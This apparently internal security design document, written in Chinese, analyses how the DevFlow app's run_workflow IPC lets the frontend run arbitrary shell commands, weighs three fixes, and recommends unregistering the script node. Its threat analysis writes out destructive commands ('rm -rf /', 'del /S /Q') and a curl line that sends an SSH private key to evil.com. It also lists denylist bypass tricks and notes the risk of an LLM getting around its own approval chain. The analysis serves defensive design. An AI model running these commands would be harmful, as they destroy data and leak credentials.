# 工作流脚本执行边界设计（R-PD-2）

> 来源：全局代码 review 2026-06-15 §🔴 P1 需设计 R-PD-2
> 日期：2026-06-15
> 状态：✅ 已落地(2026-06-28 核验:ScriptNode 命令执行安全边界 — env 白名单/黑名单 + 危险关键词告警,script_node.rs:40-155)

---

## 一、问题：run_workflow IPC 经 ScriptNode 执行前端任意 shell（security P1）

### 1.1 攻击面分析（前端 IPC → 任意 shell 的完整路径）

```
前端 runWorkflow(name, dag, config)
  └─ invoke('run_workflow', { name, dag: DagDef, config })   ← IPC 边界，dag 为前端任意构造的 serde JSON
       └─ src-tauri/commands/workflow.rs:36 run_workflow
            ├─ state.registry.build_dag(&dag)                  ← 仅校验节点类型已注册 + 边两端存在
            └─ DagExecutor::new(...).run(&runtime_dag, config)  ← 异步后台执行
                 └─ ScriptNode::execute(ctx)  [crates/df-nodes/script_node.rs:11]
                      ├─ command = ctx.config["command"]       ← 原始字符串，无校验
                      └─ ShellRequest { command, working_dir, .. }
                           └─ df_execute::shell::execute       [crates/df-execute/shell.rs:34]
                                ├─ Windows: cmd /C <command>
                                └─ Unix: sh -c <command>        ← 全 shell 解释器，含管道/重定向/通配
```

前端可提交任意 `DagDef`：

```ts
// 等价攻击载荷（任一）
{ nodes: { x: { node_type: 'script', config: { command: 'del /S /Q C:\\*' } } }, edges: [] }
{ nodes: { x: { node_type: 'script', config: { command: 'curl evil.com/exfil?d=$(cat ~/.ssh/id_rsa)' } } }, edges: [] }
{ nodes: { x: { node_type: 'script', config: { command: 'rm -rf /', working_dir: '/' } } }, edges: [] }
```

`build_dag`（`crates/df-workflow/registry.rs:42`）只做两类校验：
1. `node_type` 已注册（"script"/"human"/"ai"）——攻击者用合法的 "script"
2. 边的 source/target 节点存在——单节点 DAG 无边，零约束通过

**对 `config.command` / `config.working_dir` 无任何校验**，直接落到 shell 解释器。

### 1.2 为何完全独立于 AI 工具 RiskLevel 审批链

DevFlow 有两条独立的「前端 → 后端可执行」通路，安全机制割裂：

| 通路 | 入口 | 风控机制 | 审批位置 |
|------|------|---------|---------|
| **AI 工具调用**（LLM 驱动） | agentic loop → `AiToolRegistry` | `RiskLevel::{Low, Medium, High}` | `audit.rs:265-271`：Medium/High 写入 `AiSession.pending_approvals`，前端 ToolCard 阻塞审批 |
| **工作流执行**（前端直接驱动） | `run_workflow` IPC → DagDef | **无** | DagDef 无 RiskLevel 字段，ScriptNode 不查 pending_approvals |

关键不对称点：
- AI 工具调 shell 走 `execute_command`（tool_registry.rs），**RiskLevel::High + 审批**
- 工作流 ScriptNode 调 shell 走 `df_execute::shell::execute`，**零风控**
- 两条通路最终都落到同款 `cmd /C | sh -c`，但前者有闸门、后者无闸门

更隐蔽的二次风险：AI 工具 `run_workflow`（`tool_registry.rs:383-389`）本身是 RiskLevel::High 且**目前是 no-op 桩**（R-PD-12），LLM 即使调用也只拿到 `{ note: "请通过工作流页面运行" }`。但 **LLM 若未来引导用户提交特定 DagDef 到 `run_workflow` IPC**（绕过 AI 工具桩），就直接触达无审批 shell。R-PD-12 把 AI 工具桩做实或删除时，本设计的边界必须先就位，否则等于给 LLM 开了一条绕过自己审批链的暗道。

---

## 二、现状

### 2.1 DagDef 前端构造，无后端校验

`DagDef`（`crates/df-workflow/dag_def.rs:7-11`）是纯数据结构：

```rust
pub struct DagDef {
    pub nodes: HashMap<String, NodeDef>,   // node_type: String, config: serde_json::Value
    pub edges: Vec<EdgeDef>,
}
```

`run_workflow`（`workflow.rs:36`）收 `dag: DagDef` 参数，Tauri 反序列化后直接 `build_dag`。前端唯一构造点是 `src/views/ProjectDetail.vue:258-268` 的 `demoDag`：

```ts
const demoDag = {
  nodes: [
    { id: 'n1', node_type: 'script', label: '环境检查', config: { command: 'echo "Environment OK"', timeout_secs: 10 } },
    { id: 'n2', node_type: 'script', label: '运行测试', config: { command: 'echo "Tests passed"', timeout_secs: 10 } },
    { id: 'n3', node_type: 'script', label: '构建产物', config: { command: 'echo "Build success"', timeout_secs: 10 } },
  ],
  edges: [{ from: 'n1', to: 'n2' }, { from: 'n2', to: 'n3' }],
}
```

**全仓 grep 确认：除 demoDag 外，前端无任何其他 script 节点构造点，无构建/部署/迁移脚本入口。workflow 当前为纯演示功能。**

### 2.2 ScriptNode 无约束

`crates/df-nodes/script_node.rs:11-42`：从 `config.command` 取原始串，原样塞 `ShellRequest.command`，`working_dir` 也原样透传。无白名单、无路径锚定、无审批查询。

### 2.3 shell 解释器全权委托

`crates/df-execute/shell.rs:37-45`：`cmd /C <command>` / `sh -c <command>`，命令字符串经完整 shell 解释器（管道、重定向、变量展开、通配、命令分隔符全开）。R-P1-2 已修 kill_on_drop（僵尸进程问题），但不影响安全边界。

---

## 三、方案三选一详析

### 方案 ①：build_registry 不注册 "script"，掐断节点类型（最安全最小）

**做法**：`src-tauri/src/state.rs:227-229` 删除 `registry.register("script", ...)`。`build_dag` 遇到 `node_type=="script"` 走 `registry.rs:37` 的 `未注册的节点类型` 分支直接 bail。

**四维对比**：

| 维度 | 评价 |
|------|------|
| 安全性 | **最高**。攻击面从「任意 shell」直接归零，无任何残留路径。无工作目录逃逸、无参数注入、无审批异步语义问题 |
| 功能性 | **演示功能报废**。`ProjectDetail.vue` demoDag 三步 echo 全部 `build_dag` 失败，`runDemoWorkflow` 报错。HumanNode/AiNode 不受影响（仍注册） |
| 改动面 | **最小**。1 处删除（state.rs:227-229 共 3 行）。可选附带：前端 demoDag 改用 "human" 节点演示，或整个 demoDag 下线 |
| 误杀风险 | **零误杀**（无合法用户脚本可误杀）。但等于宣告「DevFlow 工作流不支持脚本节点」，是产品决策 |

### 方案 ②：限定工作目录在已绑定项目 path 内 + 高危命令前缀走 HumanNode 审批

**做法**：
- ScriptNode 执行前，校验 `working_dir`（默认取 NodeContext 的项目 path）必须 `canonicalize()` 后落在某已绑定项目根下（防 `../` 逃逸）
- 命令前缀扫描：`del /`、`rm -rf`、`curl`、`wget`、`> /dev/`、`mkfs`、`format` 等命中 → 改走 HumanNode 审批流程（emit `HumanApprovalRequest`，复用现有 `approve_human_approval` IPC）

**四维对比**：

| 维度 | 评价 |
|------|------|
| 安全性 | **中**。挡住工作目录外写、明显高危前缀。但**前缀黑名单天然不完备**：`curl` 可写成 `c""url`、`$(curl)`、`cu"+"rl`、PowerShell 别名 `iwr`；管道注入 `echo x; rm -rf /`；环境变量展开 `$EVIL`。攻击者绕过黑名单的成本远低于维护黑名单的成本 |
| 功能性 | **保留构建脚本能力**（未来真要跑 `npm run build` / `mvn package` 可用），且高危操作有审批兜底 |
| 改动面 | **大**。ScriptNode 加路径校验（canonicalize + starts_with）+ 黑名单扫描 + 审批注入逻辑（ScriptNode 不再是叶子执行，要会发 HumanApprovalRequest 并阻塞等 Response，复用 human_node.rs 的 select! 模式，~80 行） |
| 误杀风险 | **高且无解**。合法 `npm run deploy` 含 "deploy" 不命中黑名单但实际可能外发；合法 `git clean -fd` 命中 "clean"/"rm" 语义但非删除系统文件。黑名单要么漏报、要么误杀，无优雅平衡点 |

### 方案 ③：ScriptNode 命令白名单 npm/git/mvn 前缀 + 参数过滤

**做法**：定义允许的命令前缀（`npm`、`git`、`mvn`、`cargo`、`echo`、`node` 等），命令必须以白名单前缀开头；参数层过滤 `;`、`&&`、`|`、`$()`、反引号等 shell 元字符。

**四维对比**：

| 维度 | 评价 |
|------|------|
| 安全性 | **中高**。比黑名单强（默认拒绝）。但「参数过滤 shell 元字符」本质上是在重新实现 shell 转义，**已知是不可解问题**（参数里嵌合法字符、引号配对、Unicode 同形字符均可绕过）。且白名单命令自身有副作用（`git push`、`npm publish`、`cargo run -- <任意>`） |
| 功能性 | **受限**。只能跑白名单内的命令族，`echo` 演示能保，但任意 shell 管道/组合命令报废 |
| 改动面 | **中**。ScriptNode 加白名单匹配（~30 行）+ 参数 sanitizer（~50 行，且 sanitizer 难写对） |
| 误杀风险 | **高**。合法 `npm run build && npm run test` 被 `&&` 过滤误杀；合法 `git log --grep="feat | fix"` 被管道符误杀 |

---

## 四、推荐方案：①（不注册 "script"），前端 demoDag 同步下线

### 4.1 推荐 + 理由

**推荐方案 ①**：删除 `src-tauri/src/state.rs:227-229` 的 "script" 注册，同步下线 `ProjectDetail.vue` 的 demoDag（或改用 "human" 节点演示审批流）。

**核心取舍**：DevFlow 工作流当前是纯演示功能（前端唯一构造点是三步 echo demoDag，无任何真实构建/部署/迁移脚本入口），而方案 ②③ 的安全机制（黑名单/参数过滤）本质是**不完备的运行时博弈**——攻击者绕过成本永远低于防御维护成本。在「无真实脚本需求」的前提下，方案 ① 用一行删除换攻击面归零，性价比远超另两方案。

**触发升力的条件**：若未来 DevFlow 要把工作流做成真实 CI/CD（跑项目构建/部署脚本），此时**不应回头启用 ScriptNode + 加黑名单**，而应**新建一个独立的安全执行节点**（如 `BuildNode`），从一开始就内建白名单 + 项目目录锚定 + 审批链复用 AI 工具 RiskLevel。换句话说，方案 ① 不是「放弃脚本能力」，而是「把脚本能力延后到真正需要时，用专门节点一次性做对」。

### 4.2 改动面（具体函数 + 行号）

**后端（必须）**：

`src-tauri/src/state.rs:225-237` `build_registry`，删除 script 注册：

```rust
// 改前
fn build_registry() -> NodeRegistry {
    let mut registry = NodeRegistry::new();
    registry.register("script", |_config| {
        Box::new(df_nodes::script_node::ScriptNode)
    });
    registry.register("human", |_config| { ... });
    registry.register("ai", |_config| { ... });
    registry
}

// 改后
fn build_registry() -> NodeRegistry {
    let mut registry = NodeRegistry::new();
    // "script" 节点不注册：ScriptNode 走 cmd /C | sh -c 执行 config.command 原始串，
    // 前端可构造任意 DagDef 触达无审批 shell（R-PD-2）。DevFlow 工作流当前为纯演示
    // 功能（前端唯一构造点 ProjectDetail.vue demoDag 三步 echo），无真实构建/部署脚本
    // 需求。需要脚本执行能力时新建独立 BuildNode（白名单 + 项目目录锚定 + 复用 AI 工具
    // RiskLevel 审批链），而非回头启用 ScriptNode + 黑名单。
    registry.register("human", |_config| { ... });
    registry.register("ai", |_config| { ... });
    registry
}
```

效果：`run_workflow` 提交含 `node_type=="script"` 的 DagDef 时，`build_dag` → `registry.create` 走 `registry.rs:37` 的 `未注册的节点类型: script` bail，IPC 直接返 Err，不入库、不进后台执行。

**前端（必须，否则 demoDag 触发 build_dag 失败报错）**：

`src/views/ProjectDetail.vue:258-278`，二选一：
- **a) 下线 demoDag**：删除 `demoDag` 常量 + `runDemoWorkflow` 函数 + 模板中的「运行演示工作流」按钮（最干净）
- **b) 改 human 节点演示**：demoDag 改为单节点 human 审批流（演示审批 IPC 通路），保留「工作流页面」基本展示能力

推荐 a（工作流演示能力本就单薄，移除比换内容更诚实；待真实工作流需求落地时一并重做）。

**保留不删**：
- `crates/df-nodes/script_node.rs` 文件保留（不删 ScriptNode 实现），只把入口掐断。理由：未来 BuildNode 可复用其 `df_execute::shell::execute` 调用骨架；现在删了未来还要重写。注释顶部加一句「当前未注册到 NodeRegistry，见 R-PD-2 设计文档」
- `crates/df-execute/shell.rs` 完全保留（R-P1-2 kill_on_drop 刚修，且 BuildNode 未来要用）

### 4.3 改动量与风险评级

- 后端：3 行删除 + 1 段注释
- 前端：~25 行删除（demoDag + runDemoWorkflow + 按钮）
- 风险：**极低**。功能面仅损失演示能力（本就单薄），无真实用户脚本被误杀。build_dag 失败路径已有完善错误返回（registry.rs:37），前端 IPC 拿到 Err 正常展示。

---

## 五、风险与未决

### 5.1 本方案（①）的风险

| 风险 | 评估 |
|------|------|
| 演示功能报废影响产品认知 | 低。工作流本就是 Phase1 演示，且 HumanNode/AiNode 仍注册，审批流 + AI 节点链路仍可演示 |
| 未来需要脚本能力时回头启用 ScriptNode | **决策点**：见 §4.1，明确「新建 BuildNode，不复活 ScriptNode」。若团队遗忘此决策直接取消注释 register("script")，安全缺口原样回归——需在本设计文档 + 经验记录双锚定 |
| ScriptNode 死代码残留引发误解 | 中。需在 `script_node.rs` 顶部加注释指回本文档（已在 §4.2 列入改动面） |

### 5.2 若选 ②③ 会引入的风险（备选方案未选理由的展开）

- **白名单/黑名单误杀合法构建命令**：`npm run deploy && git push` 这类组合命令天然被元字符过滤误杀，开发者反复碰壁后会推动放宽规则，最终规则松到形同虚设（业界 CI 逃逸史常见）
- **工作目录 canonicalize 逃逸**：Windows 上 `\\?\C:\` 短路径、符号链接、junction、UNC 路径（`\\server\share`）均可绕过 `Path::starts_with`；Unix 上 `~/`、`/proc/self/root` 逃逸。canonicalize 只解析 symlink，不挡 mount boundary
- **审批链与 workflow 异步语义结合**：ScriptNode 若改走 HumanNode 审批，意味着 ScriptNode 也要发 `HumanApprovalRequest` + select! 等 Response。但 ScriptNode 当前是叶子执行节点，引入审批等于把 ScriptNode 变成半 HumanNode——节点抽象边界混乱。且审批窗口期内前端 cancel_workflow_node 与 ScriptNode 内部 select! 的取消信号传递需重做（HumanNode 已踩过 TOCTOU 坑 R-P1-3，再踩一遍成本高）

---

## 六、关联

### 6.1 与 R-PD-12（run_workflow AI 工具 no-op 桩）的协同

R-PD-12 处理 AI 工具 `run_workflow`（`tool_registry.rs:383-389`）：当前 RiskLevel::High + no-op 返 `{ note: "请通过工作流页面运行" }`，前端 prompt/audit/ToolCard 当真实能力宣传，体验断裂。

**协同关系**：
- 本方案（R-PD-2）先把 workflow 系统的 shell 边界封死（掐断 ScriptNode），R-PD-12 再决定 AI 工具 `run_workflow` 的去留才安全
- 若 R-PD-12 决定「做实 run_workflow AI 工具」——LLM 可驱动用户提交 DagDef，此时 workflow 边界必须先就位（即本方案先行）
- 若 R-PD-12 决定「删除 run_workflow 假能力」——两条通路都封死，安全闭合
- **顺序约束：R-PD-2 先于 R-PD-12 落地**（或同批）。反过来 R-PD-12 先做实、R-PD-2 没做，等于给 LLM 开了一条绕过自身 RiskLevel 审批链的暗道

### 6.2 与 shell.rs R-P1-2（kill_on_drop）的关系

R-P1-2（已修）解决的是 `shell::execute` 超时未 kill 子进程致僵尸/fd 泄漏（可靠性维度）。本方案 R-PD-2 解决的是「这个 shell 入口该不该被前端无审批触达」（安全维度）。

- 两者正交：R-P1-2 让被允许执行的 shell 更可靠，R-PD-2 让不该执行的 shell 根本不执行
- R-P1-2 已落地的 `kill_on_drop(true) + spawn + wait_with_output` 在本方案后**保留不变**（shell.rs 完全不动，未来 BuildNode 复用）
- 即使本方案掐断 ScriptNode，shell.rs 的修复仍有价值：BuildNode 未来会调它，且修复本身是独立可靠性提升

---

## 七、落地动作清单

- [ ] 后端：`src-tauri/src/state.rs:227-229` 删除 `registry.register("script", ...)` + 加决策注释
- [ ] 后端：`crates/df-nodes/script_node.rs` 顶部加注释「当前未注册到 NodeRegistry，见 docs/02-架构设计/专项设计/工作流脚本执行边界-2026-06-15.md」
- [ ] 前端：`src/views/ProjectDetail.vue` 下线 demoDag + runDemoWorkflow + 模板按钮（推荐 a）
- [ ] 文档：本设计文档归档到 `docs/02-架构设计/`
- [ ] 决策记录：补一条功能决策记录（ScriptNode 不注册的安全边界 + 未来 BuildNode 升力路径）
- [ ] todo：R-PD-12 标注「依赖 R-PD-2 先落地」
- [ ] 经验记录：黑名单/参数过滤方案为何不选（业界 CI 逃逸史 + 不完备博弈），避免未来误走回头路
